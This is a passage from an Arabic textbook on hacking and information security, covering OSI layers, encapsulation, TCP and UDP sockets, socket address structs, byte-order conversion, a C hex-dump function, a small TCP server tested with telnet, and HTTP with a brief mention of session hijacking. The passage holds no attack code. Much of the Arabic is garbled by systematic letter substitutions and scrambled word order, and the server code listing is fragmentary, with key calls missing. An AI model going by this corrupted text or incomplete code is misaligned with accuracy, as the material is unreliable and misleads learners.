اإلتصال عىل مستوى طبقة ال Data-Linkكامييل:
Active, maintain, and deactivate data-link connections
من أمثلة بعض الربوتوكوالت التي تعمل داطل ذذه الطبقة ..ال Ethernetوال .WiFiنُط َلق عىل ال ُ packetذنا
”.“Frame
Physical Layer
ذذه الطبقة تتعامل مع ال َ ،Row-bit Streamقه َي تقوم بتوصيل ال Bitsمن nodeلىل ُأطرى ،والربوتوكوالت
ا ُملستخدَ َمة ُذنا تَعتَمد عىل نوع ال " "Transmission Mediumا ُملستَخدَ َمة.
ال َختتَلف َطبيعة اإلرسال اخلاصة بال (َ )Twisted-Pair copper wireعن ال ( )Fiber opticsوذكذا.
َق َمث ً
ال packetذنا عبارة عن ”.!“Bits
Networking
][111
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Networking
][112
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
أثناء عملية اإلرسال تقوم كل طبقة بإضاقة بياناهتا عىل ال Packetعىل ذيئة ،Headerوكام تعني الكلمة قهي ُمتَثِّل
" "Headأو رأس هلذه ال Packetأو عنوان هلا ،وبالتايل قأثناء نزول ال packetمن أعىل لىل أسفلَ ،يزداد حجم َذذا
ال Headerب َس َبب َعملية اإلضاقة التي تقوم ِبا كُل َطبَ َقة )ُ ، (Appending its Header infoن َع ِّرب َعن َذذه ال
processبا ُملص َطلح.. “Encapsulation” :ويف اجلهة األطرى َس َيسري األمر بال َعكس! ،من أسفل لىل أعىلُ ،
حيث أن
ال packetقد وصلت لىل ال Physical Layerأوالً ُثم ال َ Data-Link
وذكذا ..،وبالتايل كل طبقة منهم ستتفقد ال
Headerالذي أضاقته الطبقة ا ُملناظرة هلا يف اجل َهة األُطرىُ ،ثم تقوم بنَزع ذذا ال ُ ،Headerمّا ُيؤدي لىل تَنا ُقص حجم
ط َلح.“Decapsulation” :
ال Headerكلام َص َعدنا ألعىل .و ُن َع ِّرب عن ذذه ال ِ Processبذا ا ُملص َ
الشكل يوضح عملية ال Encapsulationوال :Decapsulation
Networking
][113
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
الشكل تَسم َية كُل َ Headerيتم لضاقت ُه ب َ Hمتبوع ًا بأول َحرف من لسم ال َ
طبقة ..الحظ َمعي أن ال router ظهر يف َ
َي َ
أثناء َمسرية ال Packetقا َم ب َع َمل ُ Decapsulationجزئي ،لقد قام بنزع ال frame headerوأعاد صياغته بحيث
يتضمن ال MACاخلاص باجلهاز الذي يقع يف اجلهة األطرى من ال .Subnetوأعا َد لمرار ال packetلىل ال Host
حيث َحيدُ ث ال Decapsulationالكامل لديه كي تظهر ال messageبصيغتها ا َملقروءة عىل شاشة ال .end user
ُ
ما ييل بعض الربوتوكوالت اخلاصة بالطبقات التي ُقمنا برشحها قوق:
عند لنشاء Communication Sessionمن نوع Client-Serverقهذا يعني أنه البد أن تكون ذذه ال Sessionبني
آطر ويبقى نوع ال Sessionأيض ًا
جهاز كمبيوتر مثالً و أحد ال ُ .!Serversربام َيتصل Serverب َ Server
"."Client-Server
Networking
][114
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
:لنُعطي مثال
ٍ
مثالً عىل جهازكOutlook اخلاص بك وذو الAgent يقوم ال،خص ماعندما تُرسل رسالة َبريد للكرتوين ل َش
، اخلاص بصديقكMail Server ثم يقوم ذو بدوره بإنشاء اتصال بال، اخلاص بكMail Server بالتواصل مع ال
،!Client-Server وبالرغم من ذلك قهو من نوعMail Servers اآلن حيدث بني الCommunication الحظ ال
و نُطلق عليهServer “ واآلطر ذو الSMTP Client” ونُطلق عليهClient اخلاص بك ذو الServer قيكون ال
.“SMTP Server”
Networking protocols specify what types of data can be sent, how each type of message will be
identified, what actions can or must be taken by participants in the conversation. precisely..
“Where in the packet header each type of required information will be placed”.
Networking
[115]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
The Socket
برنامج ما عىل الكمبيوتر ،قنكون بذلك ُقمنا ب َفتح Processعىل ذذا ال .O.Sأحيان ًا حتتاج
ٍ عندما نقوم بتشغيل
التواصل ُي َسمى
ُ الربامج أو ال ) (Processesأن تتواصل مع بعضها البعض عىل نفس ال ،O.Sذذا النوع م َن
َ
وحيدُ ث وقق قوانني َيفرضها ال O.Sا ُملضيف هلم.
”َ .“Interprocess Communication
ذذا جيد!.
ولكننا ُذنا ب َصدَ د الرتكيز عىل ال communicationsبني ال Processesالتي ال تقع يف نفس ال ،Hostأو كام نُطلق
عليها ”.“Processes on two different end systems
ولكي تقوم أحد ذذه ال Processesأو ال Applicationsبإرسال رسالة أو Packetلىل ال Processاألطرى قنحن
للمرور عرب ال " ."underlying networkوبالتايل تقوم ذذه ال Processبإرسال الرسالة ،وتقوم ال Process
بحاجة ُ
رب َمن َفذ َومهي ) (Logicalأو " .."Software Interfaceذذه ال
الثانية يف اجلهة األطرى باستقبال تلك الرسالة َع َ
Software Interfaceنُطلق عليها ”.“Socket
Networking
][116
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
َذكرنا سابق ًا أن املُربمج الذي َيقوم بتَصميم ال َ Applicationس ُيحدِّ د نوع الربوتوكول املُستَخدَ م يف َعملية لرسال ال
،Dataوذلك تبع ًا لنوع ال َ ،Applicationق َمثالً :اليوتيوب ُيقدِّ م َلنا طد َمة ال َ ..Video Streamingذذه اخلد َمة
رب بروتوكول ال ،TCPبينام عند تصميم برنامج كال Internet Telephony
كمستخدمني َع َ
يقوم بتَوصيلها للينا ُ
قيكون استخدام ال UDPأقضل .وبام أننا لدينا نوعان رئيسيان من بروتوكوالت االتصال ..TCP & UDPقلدينا
أيض ًا نوعني رئيسيني من ال ” ،“Socketsنستعرضهم يف الصفحة التالية.
Networking
][117
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Stream Sockets
قكرة عمله أقرب لىل قكرة املُكا َملة اهلاتفية! ،يف كوهنا من نوع ” ،“Two-way Communicationبمعنى أنه ب ُم َجرد
سمع ُه م َن
ألي م ُنهم التأكُد م َن الكالم الذي َي َ َقتح قناة اإلتصال بينهم قس ُيمكن ِّ
ألي م ُنهم التحدُ ث ،كذلك ُيمكن ِّ
ال َط َرف اآلطر بأن َيسأله :ذل ُقلت كذا وكذا؟ و ُيمكن لآلطر أن ُجييب بنعم أو ال ،أو أن ُيعيد ل ُه الكَالم لن أراد!..
ال ُبد وأنك َقد عل َ
مت بأين أقصد أن ذذا النوع من ال Socketsسيستخدم ال ،TCPألننا ُذنا ُمهتمني بإيصال ال
Packetsدون ُحدوث أية .!Errors
ولذلك َيتم استخدام ذذا النوع من قنوات اإلتصال عندَ ما َيقوم ُمتَص ِّف َحك َمث ً
ال باإلتصال بال Mail Serversأو
Web Serversيف أي مكان!.
Datagram Sockets
كان األول ُيشبه ُمكا َملة اهلاتفَ ،ق َهذا
ُذنا يكون االتصال أقرب لىل قكرة ال ” ،“One-way Communicationقإذا َ
تتذكر عند نَجاحك يف أحد اإلطتبارات ا ُملقد َمة من ُ ،Ciscoثم تقوم
الربيد! ،ذل َ
رب َُيشبه َع َمليّة لرسالك لرسالة َع َ
وربام تستغرق رحلة وصوهلا لليك ب َطلب الشهادة ك ،Hard copyلتنتظر ذذا ال US Mailكي ُيرسل َ
لك الشهادةُ ،
وربام أيض ًا َيتَع ّثر األمر وال َيصلك يشء! ..ذذا أشبه ب ُربوتوكول ال ،UDPلنه ُيرسل ال
أكثر من شهر! أليس كذلك؟ُ ،
ضمن َلك الوصول .قتتعلم من َذذا الدرس أن تَط ُلب َ
الشهادات بصيغة PDFبعد ذلك لتض َمن Packetsوال َي َ
ُح ُصولك َعليها ..
توضح استخدام ال Stream Socketأثناء عملية اتصال َبني Clientو .Serverالحظ يف الشكل األول
ما ييل أشكال ِّ
أن ال output streamاخلاص باجلهاز سيذذب لىل ال ُ Bufferثم لىل ال Serverعىل ذيئة inputوالعكس عند انتقال
ال dataمن ال Serverلىل ال .client
Networking
][118
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Networking
[119]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Networking
][120
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Socket Functions
لكُلidentify " ل َع َملfile descriptor" كُنا نستخدم ال، التي رشحناذا يف الباب السابق؟file access ذل تتذكر ال
أيض ًا. هلا لدى نظام التشغيلreference ب َربط ذذه العملية برقم ليكون بمثابةkernel ملف يتم قتح ُه وذلك بقيام ال
َ أيض ًا ألداء َع َملها كامFunctions وتَستَخدم، تتعا َمل بنَفس ا َملنطقSockets ال
َجمموعةfile access كان َيستَخدم ال
.read( ) وwrite( ) مثلfunctions ن ال
َ م
:Lib يف َذذه الSocket التي َيستَعملها الfunctions هلَذه الdefine تَم َع َمل
<Sys/sockets.h>
/usr/include/sys/socket.h
:Lib ما ييل أول سطور من ذذه ال
Networking
[121]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Domain
ً قمثProtocol Family وذو نوع ال
.! أم غريذمIPv6 أمIPv4 ال يمكنك حتديد ما اذا كنت ستتعامل مع
Networking
[122]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Type
.TCP or UDP ما لذا كانSocket Type ونَعني ِبا ال
Protocol
. األوىل ُمس َبق ًاArgument يف الprotocol ألننا َحدَ دنا نوع الunspecified ب َمعنى.. 0 رتكها
ُ َس َن
Networking
[123]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Socket Address
:كام نعلم أنه إلنشاء قناة االتصال بني طرقني قنحن بحاجة ألربعة متغريات أساسية ذي
Source Address, Source Port, Destination Address, and Destination Port
نحتاج ُه يف عملية
ُ “ الذيSocket Address Structure” التي رشحناذا باألعىل بتحديد نوع الfunctions تقوم ال
object قمثالً املالمح العامة لل، املُستخدَ مAddress با َملالمح العامة للAddress Structure نقصد بال،االتصال
َ ُُمَص32 bits و،address family لل16 bits تكون عبارة عنIPv4 Address اخلاص بال
16 bits و،IP صة لل
Networking
[124]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ُيمكنُنا َملئ ُه َح َسب نوع ال Address Structureالذي َسنستَخدمه .لذ ًا َقام احلل؟.
سنستخدم ال Structهلذه ا ُملهمة! ،ذل تَذكُّر الدلو الذي حتدثنا عنه يف الباب األول؟ ،وكي َ
ف ُقمنا باستنساخ أشكال
تُشبه ُه َمتَام ًا ،وأطلقنا عليها اسم ).(Objects
دعني ُأ َذك ُِّرك بمثال ال ،time.cكُنا قد َعرقنا Struct tmبه ُمتغريات قار َغةُ ،ثم أطذنا من ُه ،Objectو ُقمنا بملئ ذذه
ا ُملتغريات أو ال Elementsاملوجوده بداطل ذذا ال .Object
َسنقوم ُذنا أيض ًا باستخدام بعض ال Structsاخلاصة بال Socketsوال OSI Layersالتي تَم تَعريفها وكتابتها ُمسبق ًا
كَام قعلنا يف حالة ال ”.“Struct tm
ذذا ذو شكله:
عرب عنه:
وذذا ذو الكود الذي ُي ِّ
Networking
][125
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
#include <bits/sockaddr.h>
/* Structure describing a generic socket address. */
struct sockaddr
{
__SOCKADDR_COMMON (sa_); /* Common data: address family and
length. */
char sa_data[14]; /* Address data. */
};
Address Families وذو الLib وصلنا آلطر ُجزء نُريد ُه من ذذه ال
/user/include/bits/socket.h
/* Address families. */
#define AF_UNSPEC PF_UNSPEC
#define AF_LOCAL PF_LOCAL
#define AF_UNIX PF_UNIX
#define AF_FILE PF_FILE
#define AF_INET PF_INET
#define AF_AX25 PF_AX25
#define AF_IPX PF_IPX
#define AF_APPLETALK PF_APPLETALK
#define AF_NETROM PF_NETROM
#define AF_BRIDGE PF_BRIDGE
#define AF_ATMPVC PF_ATMPVC
#define AF_X25 PF_X25
#define AF_INET6 PF_INET6
…
Networking
[126]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
IPv4 “ طاص بالSocket Address” ذذا مثال ل.لنتبه له قسنقوم باستخدامه باستمرار بقية الفصل
/* Structure describing an Internet socket address. */
struct sockaddr_in
{
__SOCKADDR_COMMON (sin_);
in_port_t sin_port; /* Port number. */
struct in_addr sin_addr; /* Internet address. */
َ وكالذم َيش َغل م،IPv4 Socket والثاين ذو ال."General Socket" األول ذو الSocket أن ال..كام تُالحظ
ساحة
َحت َت عنوانIPv4 اخلاص بالStructure يف ال8bytes َلكن َذل تُالحظ َمعي وجود َعدَ د،16 bytes
Networking
[127]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
حاجة ُ ن.. ألن ُه كَام تَع َلم..16 bytes وذذا لتَكملة باقي ال، َل َقد تَم لضاقتهم دون حاجة." ؟؟Extra padding" ال
َ َحن ب
:!ملاييل قحسب
“AF_INET Socket address structure” ا ُملستخدَ مان يف الPort Number والIP Address الحظ أن ال
َ من ا ُمل
”x-86 little-Endian byte ordering”" بدالً من الNetwork Byte Ordering" َس َيت َبعان ال
Big-endian is the most common format in data networking; fields in the protocols such as IPv4,
IPv6, TCP, and UDP, are transmitted in big-endian order.
Networking
[128]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
نُريد استخدام تقنيات الشبكات!،وبالتايل ال ُبد من َع َمل Convertهلَذه ال fieldsالتي لن ُيمكنُها العبور طالل
الشبكة وذي يف حالة ال .!Little-Endian
Networking
][129
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
" قلنthe internet standard dot notation" مثالً والتي ُيطلق عليها54.208.202.125 عندما نكتُب ذذه الصيغة
َواجد ِّ ا ُملfunctions حيث أن ال،!Socket يفهمها ال
ُ " ومن ُذنا ظهرت احلاجة لت32-bits order" كونة ل ُه تتعا َمل بال
.!" والعكس32-bits integer" لىل الASCII تقوم بالتحويل من الfunctions
.functions دعنا نلق نظرة عىل ذذه ال
: األوىلfunction ال#
inet_aton(char *ascii_addr, struct in_addr *network_addr)
This function converts the specified string in the Internet standard dot notation “*ascii_addr”
to a network address “*network_addr”, and stores the address in the structure provided
“struct in_addr”.
The converted address will be in Network Byte Order (bytes ordered from left to right).
Networking
[130]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
تَم32-bits int بصيغة الIP Address حيمل الStruct لنه،!؟ دعني ُأ َذكّرك بهstruct in_addr ذل َت ّذ ُكر ذذا ال
،AF_INET " اخلاص بالعائلةSocket address structure"تعريفه داطل ال
َجتد ُه عىل.in.h الذي ُي َع ِّرب َعنها يف امللفStructure للDefine تم عمل.Address Family for IPv4 وذي ال
:Linux ا َملسار التايل يف نظام
uer/include/netinet/in.h
ماييل ُمعادلة توضح عملية التحويل من ال..General Structure وقد استخدمنا ُه ُمسبق ًا عندما ُقمنا بمقارنته بال
.integer " لىل الIP Address in Dotted notation"
: كام ييلAddress لنَفرض أن ال
The address is aaa.bbb.ccc.ddd
:قتكون معادلة التحويل كالتايل
number = (aaa*256^3) + (bbb*256^2) + (ccc*256^1) + (ddd*256^0)
(0) وأصغر رقم سيكون،)Address: 255.255.255.255( ألنه الرقم ا ُملقابل لل4294967295 أكرب رقم سيكون
َ َ ألن ُه ال ُي،unsigned ال ُبد أن يكونinteger الحظ أن ذذا ال،)Address: 0.0.0.0( ألنه الرقم املُقابل لل
فرتض
.! َحيمل َر َقم سالبIP وجود
: الثانيةfunction ال#
: ستكون عىل ذذا النحوASCII لىل الNetwork ُحول من ال
ِّ والتي ست
inet_ntoa(struct in_addr *network_addr)
“This function converts the specified Internet host address to a string in the Internet standard dot
notation”.
Networking
[131]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
The error.h
.. َحتديد ًاHeap يف مثال ال، التي كُنا َقد استخدمناذا يف الفصل السابقFunctions ُأحب أن ُأذكِّرك ب َبعض ال
.fatal( ) والec_malloc( ) لهنا
. عىل حدة لنستدعيهم وقت احلاجةinclude قسنقوم بوضعهم يف ملف،بام أننا سوف نستخدمهم بشكل ُمستمر
.error.h سنُطلق عليه
Networking
[132]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
16 bytesيف الصف الواحد ،ثم عىل اليمني نطلب منه لظهار ال " "Printable bytesا ُملل َت َق َطه من ذذه البياناتّ ،
أي
األحرف أو الرموز ا َملكتوبة بواسطة الكيبورد .واآلن سنقوم بكتابة كود صغري يقوم ِبذه ا ُملهمة الرائعة!:
نعني به ” “prepend it with zeros if there is lessوذو لكامل احلقول الفارغة بأصفار.
Networking
][133
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
.! كي نُظهرذا عىل اليمني كام رأيتprintable characters مر ًة ثانية ولكن اللتقاط الLoop ثم نقوم بعمل
:Dump( ) ُسميها
ِّ سن،Function ماييل الكود اخلاص بال
// Dumps raw memory in hex byte and printable split format
void dump(const unsigned char *data_buffer, const unsigned int length)
{
unsigned char byte;
unsigned int i, j;
for(i=0; i < length; i++) {
byte = data_buffer[i];
printf("%02x ", data_buffer[i]); // Display byte in hex.
if(((i%16)==15) || (i==length-1)) {
for(j=0; j < 15-(i%16); j++)
printf(" ");
printf("| ");
for(j=(i-(i%16)); j <= i; j++) { // Display printable bytes from line.
byte = data_buffer[j];
if((byte > 31) && (byte < 127)) // Outside printable char range
printf("%c", byte);
else
printf(".");
}
printf("\n"); // End of the dump line (each line is 16 bytes)
} // End if
} // End for
}
Networking
[134]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
لنقوم ب َعد ال bytesمن أجل عرضها عىل الشاشة ،وكام ُقلنا مسبق ًا أننا بحاجة لعرضهم بصيغة ال Hexوبحد أقىص
16 bytesيف الصف الواحد..
األطري ذذا ُيعترب رشط ًا! ،أليس كذلك؟ ،قسنستخدم له دالة Ifلتقوم لنا بأمرين:
األول :ستقوم بعمل قصل بني كل " "two digitsبمقدار َمسا َقتَني "."two spaces
الثاين :عندما يكتَمل ال byteرقم 16ستقوم بوضع الرمز "|" متبوع ب " "two spacesأيض ًا كام ذو موضح
يف الكود.
واآلن ماذا عن ال Printable data؟ وذي التي تأيت بجانب ال "."16 bytes of Hex
سنقوم أيض ًا بعمل ُ Loopأطرى داطل َذذه ال bytesلنَلتَقط منها ال .printable characters
Networking
][135
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
وذذا ال tableاخلاص ِبم ،ذذا يوضح لنا أكثر الرشط املذكور يف دالة (.)if
لقد َحددنا الرشط ليقوم بطباعة ال charactersالواق َعة بني ال ( 31و َ ،)127ق َمث ً
ال 127تعني Delيف الكيبورد ،ونَح ُن
ال نُريد ُه يف نَتائج الكود! .ولكن لذا َظ َه َر يف ال bytesقسنقوم بطباعة )َ (dotبدَ الً من ُه.
جيد!!.
سنقوم بإضاقة ذذه ال functionأيض ًا لىل امللف .. error.hقسيتم استخدامها ب َشكل ُم ِّ
تكرر.
Networking
][136
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Some Definitions
Function prototype
:"function prototype" ذذا تعريف ال
a function prototype or function interface is a declaration of a function that specifies the
function's name and type signature (parameter types, and return type), but omits the function
body. While a function definition specifies how the function does what it does (the
"implementation"), a function prototype specifies its interface.
#Define
لكن ُه ليسvariable ذو يف احلقيقة ُيشبه ال، أيض ًا َسنَستخدمه يف األكواد القادمة، كام ُيطلقون عليهDirective ذذا ال
#define قال،"constant name" بينام اآلطر ُيعت ََرب، قا ُملتغري ُيمكن للربنامج أن يتحكم يف قيمته باستمرار،!كذلك
ً َق َمث، يف أي مكان داطل الكودconst value ذذا ُي َم ِّكنُك من استخدام َذذا ال
ب َعينه لنَستَقبلport ال عندَ ما ن َُحدِّ د
Networking
[137]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ُقمport "متى ما وجدت لفظة: يف بداية الربنا َمج بأن نُخرب ُه باآليتport هلَذا الdefine َق َسنقوم ب َع َمل،اإلتصال َعليه
: كام ييل3544 ً وذو مثال،"باستبداهلا ب َرقمه
Server Example
: وقق ًا ملا ييلclient من الsession يقوم بانتظار الServer يف ذذا املثال سنقوم بكتابة كود ل
The server listens for TCP connections on port 6900, and when a client connects,
it (the server) sends a message “Hello, Server”.
.connection لىل أن َيتم َغلق الclient من َذذا الData ُثم َيبدأ باستقبال
Networking
[138]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
int main(void) {
int sockfd, new_sockfd; // Listen on sock_fd, new connection on new_fd
struct sockaddr_in host_addr, client_addr; // My address information
socklen_t sin_size;
int recv_length=1, yes=1;
char buffer[1024];
if (listen(sockfd, 5) == -1)
fatal("listening on socket");
if(new_sockfd == -1)
fatal("accepting connection");
Networking
[139]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
أو ا َمللف الذيSocket هلذا الreference ) ُيستخدم كEntry( ذذا الرقم أو ال،fd يسمى الinteger ُي َعرب عنه برقم
.تَم َقتحه
الثاين؟fd ولكن ما قائدة ال.. ،!ذذا جيد
Networking
[140]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
سوف نَحتاجه ألننا َقد استَخدَ منا ال fdاألول أثناء َع َملية ال " ،"Listening for incoming connectionبينام
سنحتاج ل َ fdجديدَ ،ب َمعنى أننا َسنحتاج entryأطرى داطل ال kernelطاصة َِبذه ال processاجلديدة وذي ال
connectionالذي َس َيحدُ ث!.
حيث ُقمنا باشتقاقها م َن ال Structالعام كام ترى:
ُثم ُقمنا بتَعريف ال objectsالتي نُريدُ ،
;struct sockaddr_in host_addr, client_addr
الذم َس َيحمل ُحمت ََويات ال ُ ..general structureثم ُقمنا ب َع َمل declareل َبعض ا ُملتَغرياتَ ،س َيجري
ت ََذكّر أن ك ُ
تَوضيحهم قيام بعد.
َذذه ال functionتُرجع َلنا قيمة intذ َي ال fdاخلاص َِبذا ال َ socketسنقوم بتَخزينها ُذنا " ."sockfdبالطبع
سيحدث callلل ) ( fatalيف حال َق َشل العملية كام ذو ُم َوضح يف الكودُ .ثم نَميض لل functionالتالية وذي
) ( setsockoptلن َُحدِّ د من طالهلا ال optionsا ُملتع ِّل َقة َِبذا ال .socketذذه ال optionsوغريذا موجودة عىل املسار
/user/include/asm/socket.h
Networking
][141
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ال argumentالثانية ُوض َعت لتَحديد نوع ال (to set the level of the option) option
ال Argumentالثالثة "specifies the option itself ":وذي ال REUSEADDRحيث نعني ِبا ماييل:
”!“Let the socket bind to a port, even if that port is in use
اولة َقتح ُ portم َعني ال نَجد ُه ُمتاح! ،ألن ُه ُربام يكون ُمستَخدَ م من قبَل أي ُ serviceأطرى،
ألنه أحيان ًا عند ُحم َ
أما الرابعة واخلامسة َق ُهم pointerلل dataاخلاصة بال ،optionوال lengthاخلاص ِبا وذو .4 bytes
واآلن سنميض للجزء اخلاص بال objectsالتي اشتققناذا من ال struct sockaddr_inلنتحدث عنهم قليال.
سنقوم بعمل لعدادات ال ( )host_addr structureكام يظهر يف الكود بالصفحة التالية:
يف السطر األول حددنا ال ..address family: IPv4
ويف السطر الثاين ال portوذو ،6900الحظ استخدام ال functionالتي َست َُح ِّول ُه من ال hostلىل ال
Networking
][142
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
َس َيتم َمألذم بال،8 bytes وذمAddress Structure ُثم أطري ًا يف السطر الرابع َسنقوم بإكامل باقي ال
ُ
: كامييلArguments جمموعة من الfunction تأطذ ذذه ال
.socket اخلاص بالfile descriptor أوهلا ال
ل ُه لىل الtypecasting الحظ أننا ُقمنا ب َع َمل،address structure الثانية َوذ َي الArgument ُثم ال
Networking
[143]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
if (listen(sockfd, 5) == -1)
fatal("listening on socket");
.connections ب ُقبول َذذه الaccept( ) ُثم تَقوم ال
: كام بالكود باألسفلconnections وذي التي َستَستَقبل الfunction واآلن جاء دور آطر
.True ُذنا َيعني1 قالعدد.. while(1):نُالحظ ذذا الرشط
while(1) {
sin_size = sizeof(struct sockaddr_in);
new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr,
&sin_size);
if(new_sockfd == -1)
fatal("accepting connection");
،"ASCII dotted notation" بصيغة الclient اخلاص بالIP Address لتَطبَع َلنا الprintf( ) َسنَستَخدم دالة
Networking
[144]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
، كام يظهر باألسفل13 bytes ُمكَونة من،connection قور نجاح الclient لىل الstring بإرسالServer سيقوم ال
. قمنا بوضع قيمت ُه بصفر،flags ذو الfunction هلذه الargument آطر
send(new_sockfd, "Hello, server\n", 13, 0);
.buffer منها ال،Arguments حيث تستقبل أكثر من،client من الstrings لتستقبل ال
: ُي َع ِّرب عن اآليتBuffer ذذا ال،1024 وحددنا حجم ُه،لقد َعرقنا ُه يف بداية الربنامج
“The maximum length to read from the socket”
.(0) وكالعادة َو َضعنا بهflags تستقبله طاص بالArgument وآطر
Networking
[145]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
.integer ونوعه ،recv_length وذو، َلنا َبعدَ انتهائهاreturn بإرجاعfunction تقوم َذذه ال
recv_length = recv(new_sockfd, &buffer, 1024, 0);
. املُس َت َل َمةbytes وذو عَدَ د ال recv_length باعة ما بداطل َذذا ال
َ َسنَقوم بط
while(recv_length > 0) {
printf("RECV: %d bytes\n", recv_length);
.. التي رشحناذا ُمسبق ًاdump( ) ويف اخلتام يأيت َدور ال
:Arguments قتستقبل ذذه ال
dump(buffer, recv_length)
. عىل ال َيمنيprintable data وال، عىل ال َيسارHex بصي َغة الdata كي يتسنى هلا َعرض ال
while(recv_length > 0) {
printf("RECV: %d bytes\n", recv_length);
dump(buffer, recv_length);
recv_length = recv(new_sockfd, &buffer, 1024, 0);
}
close(new_sockfd);
}
return 0;
}
. واآلن سيأيت دور التجربة،لقد وصلنا لىل هناية رشح ذذا الكود
Networking
[146]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ن ََج َح.. كام نُشاذد.client لالتصال من الtelnet نستخدم ال،server سنقوم بتَجر َبة اإلتصال من جهاز آطر ِبذا ال
قأرسلنا له عبارة،client ال، ُثم جا َء دورنا نحن،“Hello, server” ذي.. string وقا َم السريقر بإرسال،!االتصال
Networking
[147]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
root@server:~/booksrc $ ./a.out
server: got connection from 192.168.18.131 port 56971
RECV: 16 bytes
74 68 69 73 20 69 73 20 61 20 74 65 73 74 0d 0a | This is a test...
RECV: 45 bytes
66 6a 73 67 68 61 75 3b 65 68 67 3b 69 68 73 6b | fjsghau;ehg;ihsk
6a 66 68 61 73 64 6b 66 6a 68 61 73 6b 6a 76 68 | jfhasdkfjhaskjvh
66 64 6b 6a 68 76 62 6b 6a 67 66 0d 0a | fdkjhvbkjgf...
لىل ُذنا نَكون َقد َو َصلنا لىل هنا َية َذذا املثال.
سننتقل للحديث عن بعض املفاذيم املتعلقة بال ”.“OSI Layers
The Browser
عندما نقوم بتَص ُّفح اإلنرتنت باستخدام أي متصفح ) (browserباستثناء ال ”َ .. “Internet Explorerق َهذا يعني
ُ
حيث نتعامل مع بروتوكول كال ،HTTP أننا نقع يف أعىل ال OSI Layersوذي ال ،Application Layer
وذو من الربوتوكوالت املستخدمة يف عملية التواصل بني ال browserو ال web serversاملختلفة ،قهو يقوم بعمل
requestللصفحة التي تريدذا أنت من ال ،web serverالذي بدوره ينتظر ال connectionsمن ال browsersوذي
ال ) (Clientsعىل ال .port 80
نحن باستخدام ا ُملتص ِّفح قيكون ال portاخلاص بنا ”َ “Local Portحيمل سنتوقف قلي ً
ال عند ال ..Portsعندما نتصل ُ
رقم عشوائي أعىل من ،1023وينتظر ال Serverال Connectionمنا عىل ال Portاخلاص به ذو ..ورقمه ).(80
Networking
][148
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
.1024 “ ذوRemote Port” ( ويكون ال80) “ ذوLocal Port” سيكون ال..Server نحن ال
ُ ولذا كنا
اخلاصprotocol version ُثم بال، َمتبوع با َملسار اخلاص بالصفحةGet َحيدُ ث بأمر ُيسمىrequest ذذا ال..املهم
ع َبارة عن،Headers َيسبقها َبعض ال، التي تُريدcontent لك بالrespond ب َع َملserver ُثم َيقوم ال.HTTP بال
.. .Server بعض ا َملعلومات اخلاصة بال
.“hosted on web server called Apache” كام نرى قهو ُخيربنا أن ذذا املوقع
Networking
[149]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
تقوم بعض املواقع بتفعيل ال HTTPSيف أول Sessionوذي ال ،Loginثم تعود لتتعامل بال HTTPمر ًة أطرى
باعتبار أن ال Sessionsالتي تليها ليست ذات أمهية بقدر ال ،Loginقانترش نوع من اهلجامت ا ُملندَ رج حتت ال
أحدذم لتنتهي من ال ُ Secured Loginثم يأيت ل َيقفز عىل ال Sessionsالتي تليها
Session Hijackingبأن َينتَظ ُرك َ
ُسجل الدطول يف ُمنتدى قسينتظر عملية
ال لذا كنت ت ِّ َح ُ
يث َيتَعا َمل حينها بروتوكول ال HTTPالغري آمن! ،قمث ً
تسجيل الدطولُ ،ثم َيقوم ب َع َمل ال " "Session Ridingو ُيمكنُ ُه حينها التَعا ُمل بال Accountاخلاص بك.
تقوم Googleعىل سبيل املثال بتفعيل HTTPSعىل مجيع طدماهتا بدء ًا بتسجيلك للدطول وحتى تسجيل طروجك.
تتناول األمور ا ُملتع ِّلقة با ُملتَص ِّفحات وأساليب احلامية من اهل َ َجامت الواق َعة عليها مثل ال
يوجد العديد من املصادر التي َ
XSSوغريذا..
قمنا بالتعرض ألنواع ذجامت ال XSSبيشء من التفصيل يف ال Appendixاملوجودة يف آطر الكتاب ،يمكنك
مراجعتها.
Networking
][150
